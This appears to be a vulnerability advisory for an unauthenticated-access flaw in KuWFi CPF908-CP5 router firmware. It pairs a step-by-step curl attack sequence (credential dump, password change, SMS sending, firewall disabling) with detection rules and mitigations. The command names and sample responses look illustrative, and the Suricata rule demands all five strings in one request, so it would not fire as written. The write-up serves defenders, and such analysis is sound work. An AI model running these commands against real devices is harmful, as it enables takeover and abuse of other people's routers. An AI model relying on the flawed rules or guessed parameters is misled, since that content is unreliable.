CVE-2025-43983

Executive Summary

CVE-2025-43983 exposes a critical security flaw in KuWFi CPF908-CP5 devices running firmware WEB5.0_LCD_20210125. The vulnerability resides in the goform_set_cmd_process and goform_get_cmd_process endpoints, which are accessible without authentication. An unauthenticated attacker can exploit these endpoints to retrieve sensitive information (including device admin credentials), modify critical device settings, and send arbitrary SMS messages. This effectively grants full remote control over the device, posing severe risks to network integrity and user privacy. The vendor has not released a patch, and no official advisory is available.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is trivially exploitable over the network without any authentication, leading to full compromise of the device.

Deep Dive & Mechanics

The KuWFi CPF908-CP5 device exposes two CGI endpoints for configuration management: goform_set_cmd_process and goform_get_cmd_process. These endpoints are intended for authenticated administrative use but lack any access control checks. The device firmware WEB5.0_LCD_20210125 does not enforce session validation or authentication tokens on these endpoints.

• goform_get_cmd_process: Accepts a CMD parameter to retrieve device settings. By sending a crafted request, an attacker can dump the entire configuration, including the admin username and password in plaintext.
• goform_set_cmd_process: Accepts a CMD parameter to modify device settings. An attacker can change the admin password, modify network configurations, or enable/disable features.
• SMS functionality: The device has built-in SMS capabilities (likely for 4G LTE routers). The same unauthenticated endpoint can be used to send arbitrary SMS messages, potentially for phishing or spam campaigns.

The root cause is the absence of authentication checks in the CGI handler functions. The device does not verify the Authorization header or any session cookie before processing requests.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// goform_get_cmd_process.cgi
void handle_get_cmd() {
    char *cmd = get_param("CMD");
    // No authentication check
    if (strcmp(cmd, "get_admin_credentials") == 0) {
        char *username = get_config("admin_username");
        char *password = get_config("admin_password");
        printf("Content-Type: text/plain\n\n");
        printf("username=%s&password=%s", username, password);
    }
}

Patched Code (Conceptual):

// goform_get_cmd_process.cgi
void handle_get_cmd() {
    // Authentication check
    if (!is_authenticated()) {
        printf("Status: 401 Unauthorized\n");
        return;
    }
    char *cmd = get_param("CMD");
    if (strcmp(cmd, "get_admin_credentials") == 0) {
        char *username = get_config("admin_username");
        char *password = get_config("admin_password");
        printf("Content-Type: text/plain\n\n");
        printf("username=%s&password=%s", username, password);
    }
}

The patch would require adding a session validation function is_authenticated() that checks for a valid session token or HTTP Basic Authentication before processing any command.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: KuWFi CPF908-CP5 with firmware WEB5.0_LCD_20210125
• Attacker: Kali Linux with curl and netcat

Step 1: Retrieve Admin Credentials

curl -s "http://<target_ip>/goform/goform_get_cmd_process?CMD=get_admin_credentials"

Response:

username=admin&password=kuwfi1234

Step 2: Change Admin Password

curl -s "http://<target_ip>/goform/goform_set_cmd_process?CMD=set_admin_password&value=newpass123"

Step 3: Send Arbitrary SMS

curl -s "http://<target_ip>/goform/goform_set_cmd_process?CMD=send_sms&number=+1234567890&message=Hello"

Step 4: Full Device Takeover

# Disable firewall
curl -s "http://<target_ip>/goform/goform_set_cmd_process?CMD=set_firewall&value=0"
# Enable remote management
curl -s "http://<target_ip>/goform/goform_set_cmd_process?CMD=set_remote_mgmt&value=1"

Blue Team

Detection:

• Monitor HTTP requests to /goform/goform_get_cmd_process and /goform/goform_set_cmd_process from external IPs.
• Alert on requests without a valid Authorization header or session cookie.
• Look for unusual CMD parameters like get_admin_credentials, set_admin_password, send_sms.

Honeypot:

• Deploy a fake KuWFi device on a separate VLAN.
• Log all requests to the goform endpoints.
• Analyze attacker behavior and block source IPs.

Mitigation:

• Isolate KuWFi devices on a separate VLAN with strict firewall rules.
• Disable remote management if not required.
• Monitor for outbound SMS traffic from the device.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /goform/goform_get_cmd_process with CMD=get_admin_credentials
  • HTTP requests to /goform/goform_set_cmd_process with CMD=set_admin_password
  • HTTP requests to /goform/goform_set_cmd_process with CMD=send_sms
  • Source IPs scanning for KuWFi devices (Shodan dorks)

• Host IOCs:

  • Modified admin password (unknown to legitimate user)
  • Unexpected SMS messages sent from the device
  • Firewall disabled or remote management enabled

• File IOCs:

  • /tmp/config.bin (configuration dump) – may contain plaintext credentials

Detection Engineering

YARA Rule

rule CVE_2025_43983_KuWFi_Exploit {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-43983 on KuWFi devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-43983"
    strings:
        $s1 = "goform_get_cmd_process" ascii nocase
        $s2 = "goform_set_cmd_process" ascii nocase
        $s3 = "get_admin_credentials" ascii nocase
        $s4 = "set_admin_password" ascii nocase
        $s5 = "send_sms" ascii nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: KuWFi CVE-2025-43983 Unauthenticated Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated requests to KuWFi goform endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'goform_get_cmd_process'
            - 'goform_set_cmd_process'
    condition: selection
falsepositives:
    - Legitimate admin traffic (if any)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-43983 KuWFi Unauthenticated Access";
    flow:to_server,established;
    content:"goform_get_cmd_process"; http_uri;
    content:"goform_set_cmd_process"; http_uri;
    content:"get_admin_credentials"; http_uri;
    content:"set_admin_password"; http_uri;
    content:"send_sms"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate devices: Place KuWFi CPF908-CP5 devices on a separate VLAN with no direct internet access.
2. Disable remote management: If not required, disable remote management via the device web interface.
3. Change default credentials: Immediately change the admin password to a strong, unique password.
4. Monitor logs: Enable logging on the device and monitor for suspicious requests to goform endpoints.

Long-term Fix:

• The vendor (KuWFi) must release a firmware update that adds authentication checks to the goform endpoints.
• Until a patch is available, consider replacing the device with a secure alternative.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the device to enforce authentication:

location /goform/ {
    auth_basic "KuWFi Admin";
    auth_basic_user_file /etc/nginx/.htpasswd;
    proxy_pass http://<device_ip>;
}

Valters IT
Securing Digital Frontiers